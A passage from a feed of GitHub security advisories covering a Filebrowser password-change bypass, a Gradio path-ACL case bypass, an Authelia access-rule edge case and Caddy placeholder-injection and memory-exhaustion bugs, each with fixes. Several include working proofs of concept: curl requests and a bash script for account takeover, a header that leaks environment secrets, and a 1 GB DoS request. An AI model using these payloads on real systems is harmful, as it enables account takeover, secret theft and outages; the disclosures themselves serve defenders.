/api/users/{id} with:\n - which: [\"Password\"] (Title Case - bypasses validation)\n - data.password: \"attacker_password\"\n - NO current_password field required\n3. Password is changed without verification\n4. Victim is locked out, attacker has full access\n```\n\n---\n\n## PoC\n\n### Prerequisites\n- A valid JWT token for any user account\n- Target Filebrowser instance using JSON authentication (default)\n\n### Reproduction Steps\n\n**Step 1: Obtain a valid JWT token**\n```bash\nTOKEN=$(curl -s -X POST \"http://target:8080/api/login\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"username\":\"victim\",\"password\":\"victim_password\"}\u0027)\n```\n\n**Step 2: Attempt normal password change (should fail)**\n```bash\ncurl -s -X PUT \"http://target:8080/api/users/1\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"what\": \"user\",\n \"which\": [\"password\"],\n \"data\": {\"id\": 1, \"password\": \"NewPassword123456\"}\n }\u0027\n# Response: 400 Bad Request (the current password is incorrect)\n```\n\n**Step 3: Bypass with Title Case (succeeds without current_password)**\n```bash\ncurl -s -X PUT \"http://target:8080/api/users/1\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"what\": \"user\",\n \"which\": [\"Password\"],\n \"data\": {\"id\": 1, \"password\": \"HackedPassword123\"}\n }\u0027\n# Response: 200 OK\n```\n\n**Step 4: Verify account takeover**\n```bash\n# Original password no longer works\ncurl -s -X POST \"http://target:8080/api/login\" \\\n -d \u0027{\"username\":\"victim\",\"password\":\"victim_password\"}\u0027\n# Response: 403 Forbidden\n\n# New password works\ncurl -s -X POST \"http://target:8080/api/login\" \\\n -d \u0027{\"username\":\"victim\",\"password\":\"HackedPassword123\"}\u0027\n# Response: Valid JWT token\n```\n\n### Automated PoC Script\n\n```bash\n#!/bin/bash\n# Usage: ./poc.sh \u003ctarget\u003e \u003cusername\u003e \u003ccurrent_password\u003e \u003cnew_password\u003e\n\nTARGET=\"$1\"\nUSERNAME=\"$2\"\nCURRENT_PASS=\"$3\"\nNEW_PASS=\"$4\"\n\n# Login\nTOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"username\\\":\\\"$USERNAME\\\",\\\"password\\\":\\\"$CURRENT_PASS\\\"}\")\n\n# Get user ID from token\nUSER_ID=$(echo \"$TOKEN\" | python3 -c \"\nimport sys,json,base64\nparts=input().split(\u0027.\u0027)\npayload=json.loads(base64.b64decode(parts[1]+\u0027==\u0027))\nprint(payload[\u0027user\u0027][\u0027id\u0027])\n\")\n\n# Exploit: Change password without current_password\ncurl -s -X PUT \"$TARGET/api/users/$USER_ID\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\n \\\"what\\\": \\\"user\\\",\n \\\"which\\\": [\\\"Password\\\"],\n \\\"data\\\": {\\\"id\\\": $USER_ID, \\\"password\\\": \\\"$NEW_PASS\\\"}\n }\"\n\necho \"Password changed to: $NEW_PASS\"\n```\n\n---\n\n## Impact\n\n### Who is Impacted\n\n- **All Filebrowser users** using JSON authentication method (default configuration)\n- Any user whose JWT token can be obtained by an attacker\n- Particularly high-value targets: administrator accounts\n\n### Attack Scenarios\n\n| Scenario | Impact |\n|----------|--------|\n| XSS + Token Theft | Complete account takeover |\n| JWT in Server Logs | Mass account compromise |\n| Shared Computer | Session hijacking |\n| Malicious Browser Extension | Credential theft |\n\n### Security Impact\n\n| Category | Severity |\n|----------|----------|\n| Confidentiality | **High** - Attacker gains full account access |\n| Integrity | **High** - Attacker can modify all user data |\n| Availability | **High** - Legitimate user locked out |\n\n### Scope\n\n- The vulnerability affects **password modification only**\n- Other sensitive fields (`Username`, `Scope`, `Perm`, etc.) have additional protection via `NonModifiableFieldsForNonAdmin` check\n- However, for **administrators**, all fields can be modified using this bypass technique\n\n---\n\n## Suggested Fix\n\n### Option 1: Case-insensitive field matching (Recommended)\n\n```go\n// Convert field to lowercase before checking\nfor _, field := range req.Which {\n if _, ok := sensibleFields[strings.ToLower(field)]; ok {\n if !users.CheckPwd(req.CurrentPassword, d.user.Password) {\n return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect\n }\n break\n }\n}\n```\n\n### Option 2: Use Title Case in sensibleFields\n\n```go\nvar sensibleFields = map[string]struct{}{\n \"All\": {},\n \"Username\": {},\n \"Password\": {}, // Title Case to match post-transformation\n \"Scope\": {},\n \"LockPassword\": {},\n \"Commands\": {},\n \"Perm\": {},\n}\n\n// Check AFTER field name transformation\nfor k, v := range req.Which {\n v = cases.Title(language.English, cases.NoLower).String(v)\n req.Which[k] = v\n \n // Now check with Title Case\n if _, ok := sensibleFields[v]; ok {\n if !users.CheckPwd(req.CurrentPassword, d.user.Password) {\n return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect\n }\n break\n }\n}\n```\n\n---\n\n## References\n\n- Affected File: `http/users.go`\n- Affected Lines: 181-200\n- Related Code: `NonModifiableFieldsForNonAdmin` (line 17)",
"id": "GHSA-hxw8-4h9j-hq2r",
"modified": "2026-02-10T02:56:29Z",
"published": "2026-02-10T00:22:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-hxw8-4h9j-hq2r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25889"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/commit/ff2f00498cff151e2fb1f5f0b16963bf33c3d6d4"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.57.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "File Browser has an Authentication Bypass in User Password Update"
}
GHSA-J2JG-FQ62-7C3H
Vulnerability from github – Published: 2025-01-14 16:32 – Updated: 2026-06-05 17:54Summary
Gradio's Access Control List (ACL) for file paths can be bypassed by altering the letter case of a blocked file or directory path. This vulnerability arises due to the lack of case normalization in the file path validation logic. On case-insensitive file systems, such as those used by Windows and macOS, this flaw enables attackers to circumvent security restrictions and access sensitive files that should be protected.
This issue can lead to unauthorized data access, exposing sensitive information and undermining the integrity of Gradio's security model. Given Gradio's popularity for building web applications, particularly in machine learning and AI, this vulnerability may pose a substantial threat if exploited in production environments.
Affected Version
Gradio <= 5.6.0
Impact
-
Unauthorized Access: Sensitive files or directories specified in
blocked_pathscan be accessed by attackers. -
Data Exposure: Critical files, such as configuration files or user data, may be leaked.
-
Security Breach: This can lead to broader application or system compromise if sensitive files contain credentials or API keys.
Root Cause
The blocked_paths parameter in Gradio block's initial configuration is designed to restrict user access to specific files or directories in the local file system. However, it does not account for case-insensitive operating systems, such as Windows and macOS. This oversight enables attackers to bypass ACL restrictions by changing the case of file paths.
Vulnerable snippet:
# https://github.com/gradio-app/gradio/blob/main/gradio/utils.py#L1500-L1517
def is_allowed_file(
path: Path,
blocked_paths: Sequence[str | Path],
allowed_paths: Sequence[str | Path],
created_paths: Sequence[str | Path],
) -> tuple[
bool, Literal["in_blocklist", "allowed", "created", "not_created_or_allowed"]
]:
in_blocklist = any(
is_in_or_equal(path, blocked_path) for blocked_path in blocked_paths
)
if in_blocklist:
return False, "in_blocklist"
if any(is_in_or_equal(path, allowed_path) for allowed_path in allowed_paths):
return True, "allowed"
if any(is_in_or_equal(path, created_path) for created_path in created_paths):
return True, "created"
return False, "not_created_or_allowed"
Gradio relies on is_in_or_equal to determine if a file path is restricted. However, this logic fails to handle case variations in paths on case-insensitive file systems, leading to the bypass.
Proof of Concept (PoC)
Steps to Reproduce
- Deploy a Gradio demo app on a case-insensitive operating system (e.g., Windows or macOS).
```bash import gradio as gr def update(name): return f"Welcome to Gradio, {name}!"
with gr.Blocks() as demo: gr.Markdown("Start typing below and then click Run to see the output.") with gr.Row(): inp = gr.Textbox(placeholder="What is your name?") out = gr.Textbox() btn = gr.Button("Run") btn.click(fn=update, inputs=inp, outputs=out)
demo.launch(blocked_paths=['resources/admin'], allowed_paths=['resources/']) ```
-
Set up the file system:
-
Create a folder named
resourcesin the same directory as the app, containing a file1.txt. -
Inside the
resourcesfolder, create a subfolder namedadmincontaining a sensitive filecredential.txt(this file should be inaccessible due toblocked_paths). -
Perform the attack:
-
Access the sensitive file using a case-altered path:
http://127.0.0.1:PORT/gradio_api/file=resources/adMin/credential.txt
Expected Result
Access to resources/admin/credential.txt should be blocked.
Actual Result
By altering the case in the path (e.g., adMin), the blocked ACL is bypassed, and unauthorized access to the sensitive file is granted.

This demonstration highlights that flipping the case of restricted paths allows attackers to bypass Gradio's ACL and access sensitive data.
Remediation Recommendations
-
Normalize Path Case:
-
Before evaluating paths against the ACL, normalize the case of both the requested path and the blocked paths (e.g., convert all paths to lowercase).
-
Example:
python normalized_path = str(path).lower() normalized_blocked_paths = [str(p).lower() for p in blocked_paths] -
Update Documentation:
-
Warn developers about potential risks when deploying Gradio on case-insensitive file systems.
-
Release Security Patches:
-
Notify users of the vulnerability and release an updated version of Gradio with the fixed logic.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "gradio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-23042"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2025-01-14T16:32:22Z",
"nvd_published_at": "2025-01-14T19:15:44Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nGradio\u0027s Access Control List (ACL) for file paths can be bypassed by altering the letter case of a blocked file or directory path. This vulnerability arises due to the lack of case normalization in the file path validation logic. On case-insensitive file systems, such as those used by Windows and macOS, this flaw enables attackers to circumvent security restrictions and access sensitive files that should be protected.\n\nThis issue can lead to unauthorized data access, exposing sensitive information and undermining the integrity of Gradio\u0027s security model. Given Gradio\u0027s popularity for building web applications, particularly in machine learning and AI, this vulnerability may pose a substantial threat if exploited in production environments.\n\n## Affected Version\n\nGradio \u003c= 5.6.0\n\n## Impact\n\n- **Unauthorized Access**: Sensitive files or directories specified in `blocked_paths` can be accessed by attackers.\n\n- **Data Exposure**: Critical files, such as configuration files or user data, may be leaked.\n\n- **Security Breach**: This can lead to broader application or system compromise if sensitive files contain credentials or API keys.\n\n## Root Cause\n\nThe [`blocked_paths`](https://github.com/gradio-app/gradio/blob/main/gradio/blocks.py#L2310) parameter in Gradio block\u0027s initial configuration is designed to restrict user access to specific files or directories in the local file system. However, it does not account for case-insensitive operating systems, such as Windows and macOS. This oversight enables attackers to bypass ACL restrictions by changing the case of file paths.\n\nVulnerable snippet: \n\n```python\n# https://github.com/gradio-app/gradio/blob/main/gradio/utils.py#L1500-L1517\ndef is_allowed_file(\n path: Path,\n blocked_paths: Sequence[str | Path],\n allowed_paths: Sequence[str | Path],\n created_paths: Sequence[str | Path],\n) -\u003e tuple[\n bool, Literal[\"in_blocklist\", \"allowed\", \"created\", \"not_created_or_allowed\"]\n]:\n in_blocklist = any(\n is_in_or_equal(path, blocked_path) for blocked_path in blocked_paths\n )\n if in_blocklist:\n return False, \"in_blocklist\"\n if any(is_in_or_equal(path, allowed_path) for allowed_path in allowed_paths):\n return True, \"allowed\"\n if any(is_in_or_equal(path, created_path) for created_path in created_paths):\n return True, \"created\"\n return False, \"not_created_or_allowed\"\n```\n\nGradio relies on `is_in_or_equal` to determine if a file path is restricted. However, this logic fails to handle case variations in paths on case-insensitive file systems, leading to the bypass.\n\n## Proof of Concept (PoC)\n\n### Steps to Reproduce\n\n- Deploy a Gradio demo app on a case-insensitive operating system (e.g., Windows or macOS).\n\n ```bash\n import gradio as gr\n def update(name):\n return f\"Welcome to Gradio, {name}!\"\n \n with gr.Blocks() as demo:\n gr.Markdown(\"Start typing below and then click **Run** to see the output.\")\n with gr.Row():\n inp = gr.Textbox(placeholder=\"What is your name?\")\n out = gr.Textbox()\n btn = gr.Button(\"Run\")\n btn.click(fn=update, inputs=inp, outputs=out)\n \n demo.launch(blocked_paths=[\u0027resources/admin\u0027], allowed_paths=[\u0027resources/\u0027])\n ```\n\n- Set up the file system:\n\n - Create a folder named `resources` in the same directory as the app, containing a file `1.txt`.\n\n - Inside the `resources` folder, create a subfolder named `admin` containing a sensitive file `credential.txt` (this file should be inaccessible due to `blocked_paths`).\n\n- Perform the attack:\n\n - Access the sensitive file using a case-altered path:\n\n ```\n http://127.0.0.1:PORT/gradio_api/file=resources/adMin/credential.txt\n ```\n\n### Expected Result\n\nAccess to `resources/admin/credential.txt` should be blocked.\n\n### Actual Result\n\nBy altering the case in the path (e.g., `adMin`), the blocked ACL is bypassed, and unauthorized access to the sensitive file is granted.\n\n\n\nThis demonstration highlights that flipping the case of restricted paths allows attackers to bypass Gradio\u0027s ACL and access sensitive data.\n\n## Remediation Recommendations\n\n1. **Normalize Path Case**:\n\n - Before evaluating paths against the ACL, normalize the case of both the requested path and the blocked paths (e.g., convert all paths to lowercase).\n\n - Example:\n\n ```python\n normalized_path = str(path).lower()\n normalized_blocked_paths = [str(p).lower() for p in blocked_paths]\n ```\n\n2. **Update Documentation**:\n\n - Warn developers about potential risks when deploying Gradio on case-insensitive file systems.\n\n3. **Release Security Patches**:\n\n - Notify users of the vulnerability and release an updated version of Gradio with the fixed logic.\n\n##",
"id": "GHSA-j2jg-fq62-7c3h",
"modified": "2026-06-05T17:54:51Z",
"published": "2025-01-14T16:32:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gradio-app/gradio/security/advisories/GHSA-j2jg-fq62-7c3h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23042"
},
{
"type": "WEB",
"url": "https://github.com/gradio-app/gradio/commit/6b63fdec441b5c9bf910f910a2505d8defbb6bf8"
},
{
"type": "PACKAGE",
"url": "https://github.com/gradio-app/gradio"
},
{
"type": "WEB",
"url": "https://github.com/gradio-app/gradio/releases/tag/gradio%405.11.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2025-118.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gradio Blocked Path ACL Bypass Vulnerability"
}
GHSA-J748-H363-WQJ8
Vulnerability from github – Published: 2026-06-26 22:32 – Updated: 2026-06-26 22:32Impact
CVSSv4 Baseline Score: Low 2.4
CVSSv4 Weighted Score: Low 1.3
The full CVSSv4 Vector for this vulnerability is:
CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:P/CR:H/IR:L/AR:L/MAV:N/MAC:H/MAT:P/MPR:L/MVC:L/MVI:N/MVA:N/MSC:L/MSI:N/MSA:N/S:N/AU:Y/R:U/V:D/RE:L/U:Amber
CVSSv3.1 Baseline Score: Low 3.1
CVSSv3.1 Overall Score: Low 3.4
The full CVSSv3.1 Vector equivalent for this vulnerability is:
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N/E:P/RL:O/RC:C/CR:H/IR:L/AR:L/MAV:N/MAC:H/MPR:L/MUI:X/MS:U/MC:L/MI:N/MA:N
The weighted severity rating is a result of no indication this is currently being exploited being available at the time of the publish date, in addition to the fact it's unlikely that it is being exploited currently. The vectors have been picked based on the scenario most likely to exist in real configurations.
In addition to the weighting our assessment considers the fact the configuration scenario required for this vulnerability to be exploited is highly unlikely and an attacker is unlikely in most scenarios to be able to determine if the exploit is available and if it was successful except in rare situations. Though the visibility to the attacker was not reflected in our assessment.
Summary
Due to lack of canonicalization of domains in very specific edge cases an access control rule may be skipped when it should match a request.
Details
This attack vector must be executed in a highly specific scenario which we do not believe any user would find themselves in. In an abundance of caution we are issuing this advisory and would appreciate any users who find this configuration report it to us with both the access control section, and sessions section so that we can best advise the community of the actual impact.
The specific conditions that could lead to a security issue for vulnerability are as follows:
- The specific target resource of the attack must be using the forwarded authorization integration.
- The requested domain must have two additional segments compared to a session domain i.e.
a.b.example.comis requested, but the session domain isexample.com. - There access control rules must specify two separate rules which both contain inexact domain matches such as
*.b.example.comand*.example.comi.e. wildcards, username matches, group matches. - The rules must be in order of most specific domain to least specific domain.
- The second rule must be more permissive than the first rule.
- The second rule must also match all criteria of the given request.
- The attacker must specifically request a URL for the more specific domain, with the second part containing one or more capitalized letters i.e.
https://a.B.example.comand no other segment with capitalized letters. - The integration used must not be the Envoy ExtAuthz integration.
- The proxy must not canonicalize the requested host name in the relevant header before sending it to the relevant authorization endpoint.
The kind of configuration used to produce this issue and result in a bypass rule being matched has long been highly discouraged. Essentially hosts which should be bypassed entirely should not be secured by having the proxy check them with the authorization handlers.
It should also be noted this has been heavily mitigated due to another bug where the session domain would not match if any part of the configured session domain was capitalized (fixed in https://github.com/authelia/authelia/commit/368631ecc5a9c6bcf2ff5f892ad443b890dd945e, it should be expressly noted this commit does not contain a fix for a CVE). This bug would prevent the request from succeeding in any way. This bug will also be fixed after this vulnerability is fixed, and the bug where session domains would not match has no security impact other than heavily mitigating the access control vulnerability.
Patches
Upgrade to 4.39.20.
Commit: https://github.com/authelia/authelia/commit/b6d1d60baa02f216fdb19f5dfeaf2e805829508a
Workarounds
See the below examples for configurations to avoid.
Examples
1FA Downgrade
The following example could result in a 1FA downgrade.
Request URL: https://a.B.example.com
Configuration:
session:
cookies:
- domain: 'example.com'
authelia_url: 'https://example.com'
access_control:
rules:
- domain: '*.b.example.com'
policy: 'two_factor'
- domain: '*.example.com'
policy: 'one_factor'
Bypass Downgrade
The following example could result in a bypass downgrade. It should be noted that configurations like this have long been discouraged. The domains matching the pattern *.example.com should not be configured to forward authorization requests to Authelia in most situations.
Request URL: https://a.B.example.com
Configuration:
session:
cookies:
- domain: 'example.com'
authelia_url: 'https://example.com'
access_control:
rules:
- domain: '*.b.example.com'
policy: 'two_factor'
- domain: '*.example.com'
policy: 'bypass'
Unaffected Scenario
The following configuration is unaffected regardless of the request.
session:
cookies:
- domain: 'example.com'
authelia_url: 'https://example.com'
access_control:
rules:
- domain: 'b.example.com'
policy: 'two_factor'
- domain: '*.example.com'
policy: 'one_factor'
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.39.19"
},
"package": {
"ecosystem": "Go",
"name": "github.com/authelia/authelia/v4"
},
"ranges": [
{
"events": [
{
"introduced": "4.36.0"
},
{
"fixed": "4.39.20"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48794"
],
"database_specific": {
"cwe_ids": [
"CWE-178",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T22:32:21Z",
"nvd_published_at": "2026-06-19T21:17:01Z",
"severity": "LOW"
},
"details": "### Impact\n\n**CVSSv4 Baseline Score:** Low 2.4\n\n**CVSSv4 Weighted Score:** Low 1.3\n\nThe full CVSSv4 Vector for this vulnerability is:\n\n\u003e CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:P/CR:H/IR:L/AR:L/MAV:N/MAC:H/MAT:P/MPR:L/MVC:L/MVI:N/MVA:N/MSC:L/MSI:N/MSA:N/S:N/AU:Y/R:U/V:D/RE:L/U:Amber\n\n**CVSSv3.1 Baseline Score:** Low 3.1\n\n**CVSSv3.1 Overall Score:** Low 3.4\n\nThe full CVSSv3.1 Vector equivalent for this vulnerability is:\n\n\u003e CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N/E:P/RL:O/RC:C/CR:H/IR:L/AR:L/MAV:N/MAC:H/MPR:L/MUI:X/MS:U/MC:L/MI:N/MA:N\n\nThe weighted severity rating is a result of no indication this is currently being exploited being available at the time of the publish date, in addition to the fact it\u0027s unlikely that it is being exploited currently. The vectors have been picked based on the scenario most likely to exist in real configurations.\n\nIn addition to the weighting our assessment considers the fact the configuration scenario required for this vulnerability to be exploited is highly unlikely and an attacker is unlikely in most scenarios to be able to determine if the exploit is available and if it was successful except in rare situations. Though the visibility to the attacker was not reflected in our assessment.\n\n### Summary\n\nDue to lack of canonicalization of domains in very specific edge cases an access control rule may be skipped when it should match a request.\n\n### Details\n\nThis attack vector must be executed in a highly specific scenario which we do not believe any user would find themselves in. In an abundance of caution we are issuing this advisory and would appreciate any users who find this configuration report it to us with both the access control section, and sessions section so that we can best advise the community of the actual impact.\n\nThe specific conditions that could lead to a security issue for vulnerability are as follows:\n\n1. The specific target resource of the attack must be using the forwarded authorization integration.\n2. The requested domain must have two additional segments compared to a session domain i.e. `a.b.example.com` is requested, but the session domain is `example.com`.\n3. There access control rules must specify two separate rules which both contain inexact domain matches such as `*.b.example.com` and `*.example.com` i.e. wildcards, username matches, group matches.\n4. The rules must be in order of most specific domain to least specific domain.\n5. The second rule must be **more permissive** than the first rule.\n6. The second rule must also **match all criteria** of the given request.\n7. The attacker must specifically request a URL for the more specific domain, with the second part containing one or more capitalized letters i.e. `https://a.B.example.com` and no other segment with capitalized letters.\n8. The integration used must not be the Envoy ExtAuthz integration.\n9. The proxy must not canonicalize the requested host name in the relevant header before sending it to the relevant authorization endpoint.\n\nThe kind of configuration used to produce this issue and result in a `bypass` rule being matched has long been highly discouraged. Essentially hosts which should be bypassed entirely should not be secured by having the proxy check them with the authorization handlers.\n\nIt should also be noted this has been heavily mitigated due to another bug where the session domain would not match if any part of the configured session domain was capitalized (fixed in https://github.com/authelia/authelia/commit/368631ecc5a9c6bcf2ff5f892ad443b890dd945e, it should be expressly noted this commit does not contain a fix for a CVE). This bug would prevent the request from succeeding in any way. This bug will also be fixed after this vulnerability is fixed, and the bug where session domains would not match has no security impact other than heavily mitigating the access control vulnerability.\n\n### Patches\n\nUpgrade to 4.39.20.\n\nCommit: https://github.com/authelia/authelia/commit/b6d1d60baa02f216fdb19f5dfeaf2e805829508a\n\n### Workarounds\n\nSee the below examples for configurations to avoid.\n\n#### Examples\n\n##### 1FA Downgrade\n\nThe following example could result in a 1FA downgrade.\n\n**Request URL:** `https://a.B.example.com`\n\n**Configuration:**\n\n```yaml\nsession:\n cookies:\n - domain: \u0027example.com\u0027\n authelia_url: \u0027https://example.com\u0027\naccess_control:\n rules:\n - domain: \u0027*.b.example.com\u0027\n policy: \u0027two_factor\u0027\n - domain: \u0027*.example.com\u0027\n policy: \u0027one_factor\u0027\n```\n\n##### Bypass Downgrade\n\nThe following example could result in a bypass downgrade. It should be noted that configurations like this have long been discouraged. The domains matching the pattern `*.example.com` should not be configured to forward authorization requests to Authelia in most situations.\n\n**Request URL:** `https://a.B.example.com`\n\n**Configuration:**\n\n```yaml\nsession:\n cookies:\n - domain: \u0027example.com\u0027\n authelia_url: \u0027https://example.com\u0027\naccess_control:\n rules:\n - domain: \u0027*.b.example.com\u0027\n policy: \u0027two_factor\u0027\n - domain: \u0027*.example.com\u0027\n policy: \u0027bypass\u0027\n```\n\n##### Unaffected Scenario\n\nThe following configuration is unaffected regardless of the request.\n\n```yaml\nsession:\n cookies:\n - domain: \u0027example.com\u0027\n authelia_url: \u0027https://example.com\u0027\naccess_control:\n rules:\n - domain: \u0027b.example.com\u0027\n policy: \u0027two_factor\u0027\n - domain: \u0027*.example.com\u0027\n policy: \u0027one_factor\u0027\n```",
"id": "GHSA-j748-h363-wqj8",
"modified": "2026-06-26T22:32:21Z",
"published": "2026-06-26T22:32:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authelia/authelia/security/advisories/GHSA-j748-h363-wqj8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48794"
},
{
"type": "WEB",
"url": "https://github.com/authelia/authelia/commit/b6d1d60baa02f216fdb19f5dfeaf2e805829508a"
},
{
"type": "PACKAGE",
"url": "https://github.com/authelia/authelia"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Authelia has an Edge Case Access Control Rule Mismatch"
}
GHSA-J8PX-RMRX-76H9
Vulnerability from github – Published: 2026-09-18 13:09 – Updated: 2026-09-18 13:09Caddy v2.11.3 — Three vulnerabilities in handler/placeholder layer
Tested against: caddy:2.11.3 (official Docker image, SHA verified at runtime)
Reproduction environment: Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits
This advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified caddy:2.11.3 image with the minimal Caddyfile that the documentation suggests for the affected feature.
Issue 1: Rewrite handler — placeholder double-expansion enables env var / file disclosure
File: modules/caddyhttp/rewrite/rewrite.go:215-249 and buildQueryString at 327
Class: CWE-94 (Code Injection), same bug class as CVE-2026-30852 (vars_regexp)
Severity: Low (requires operator config with trailing ? in rewrite URI)
Root cause
When the operator's rewrite URI template:
1. Contains a placeholder that resolves to request data (e.g. {http.request.header.X-Foo}), AND
2. Ends with a literal ? (with empty query side)
…then the bytes produced by the first Replacer pass (which include attacker-controlled header values) are fed through buildQueryString, which runs a second Replacer pass and resolves any placeholders the attacker injected.
// rewrite.go (abridged)
newPath = repl.ReplaceAll(path, "") // pass 1 — header expanded
if before, after, found := strings.Cut(newPath, "?"); found {
var injectedQuery string
newPath, injectedQuery = before, after
if query == "" { // trailing-? branch
query = injectedQuery // attacker bytes flow into 'query'
}
}
if query != "" {
newQuery = buildQueryString(query, repl) // pass 2 — RE-EXPANDS attacker input
}
This is the same gadget that was patched in vars_regexp (CVE-2026-30852). The fix did not extend to rewrite, and there is no equivalent regression test for it in rewrite_test.go (compare vars_test.go:63,69,75).
Reproduction (real Caddy 2.11.3)
Caddyfile:
{
admin off
auto_https off
}
:8080 {
rewrite * /serve/{http.request.header.X-Fwd}?
respond "PATH={path} QUERY={query}"
}
docker-compose.yml:
services:
caddy:
image: caddy:2.11.3
environment:
DATABASE_URL: "postgres://leaked:supersecret@dbserver/production"
ports: ["8080:8080"]
volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]
Exploit:
$ docker compose up -d
$ curl "http://localhost:8080/anything" -H "X-Fwd: foo?{env.DATABASE_URL}=leak"
PATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak
URL-decoded query: postgres://leaked:supersecret@dbserver/production=leak. The DATABASE_URL env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via reverse_proxy, and be readable via {http.request.uri.query} in any downstream handler.
Available read primitives
The same gadget exposes any placeholder the attacker can name in their injected substring:
- {env.X} — any env var on the Caddy process
- {file./path} — any file readable by the Caddy process (if file provider is registered)
- {vars.X} — Caddy-internal request variables
Suggested fix (mirrors the CVE-2026-30852 patch)
After splitting at ?, sanitize placeholder syntax in the injected query before passing it to buildQueryString:
if before, after, found := strings.Cut(newPath, "?"); found {
var injectedQuery string
newPath, injectedQuery = before, after
if query == "" {
injectedQuery = strings.ReplaceAll(injectedQuery, "{", "%7B")
injectedQuery = strings.ReplaceAll(injectedQuery, "}", "%7D")
query = injectedQuery
}
}
Also recommend adding equivalent regression tests in rewrite_test.go to the three "is not re-expanded" tests in vars_test.go.
Issue 2: Unbounded body buffer via {http.request.body} placeholder — memory exhaustion DoS
File: modules/caddyhttp/replacer.go:217-245 (placeholder resolution for http.request.body)
Class: CWE-770 (Allocation of Resources Without Limits)
Severity: Moderate (any operator using the documented log_append body {http.request.body} pattern is vulnerable)
Root cause
When any handler references the {http.request.body} placeholder, the replacer code path reads the entire request body into a byte slice via io.Copy(buf, req.Body) with no LimitReader wrapping. The needsEarly flag bypasses the request_body middleware's size limit, because the placeholder is resolved before that middleware sees the request.
This means an attacker can send a request body of any size (up to whatever Content-Length they declare, or unlimited chunked) and Caddy will buffer all of it into RAM before any size check fires.
Reproduction (real Caddy 2.11.3, 512 MB container cap)
Caddyfile:
{
admin off
auto_https off
}
:8080 {
log_append body {http.request.body}
respond "OK, length received: {http.request.header.Content-Length}"
}
docker-compose.yml:
services:
caddy:
image: caddy:2.11.3
mem_limit: 512m
memswap_limit: 512m
ports: ["8080:8080"]
volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]
Exploit (Windows PowerShell):
PS> fsutil file createnew big.bin 1073741824
File C:\caddy-verify\test3-body-dos\big.bin is created
PS> curl.exe -X POST --data-binary "@big.bin" -H "Expect:" --max-time 120 http://localhost:8080/
curl: (28) Operation timed out after 120010 milliseconds with 0 bytes received
Container state immediately after:
PS> docker ps -a --filter name=caddy-verify-3
CONTAINER ID IMAGE STATUS NAMES
7f8ba392e7b5 caddy:2.11.3 Exited (137) 2 minutes ago caddy-verify-3
PS> docker inspect caddy-verify-3 --format "ExitCode={{.State.ExitCode}} OOMKilled={{.State.OOMKilled}}"
ExitCode=137 OOMKilled=true
OOMKilled=true is dispositive — the Linux kernel's OOM killer fired. Caddy's logs cut off cleanly after "serving initial configuration" with no error message, which is the signature of a process killed mid-allocation by SIGKILL.
A small body works fine:
$ curl -X POST -d "hello world" http://localhost:8080/
OK, length received: 11
Real-world exploitability
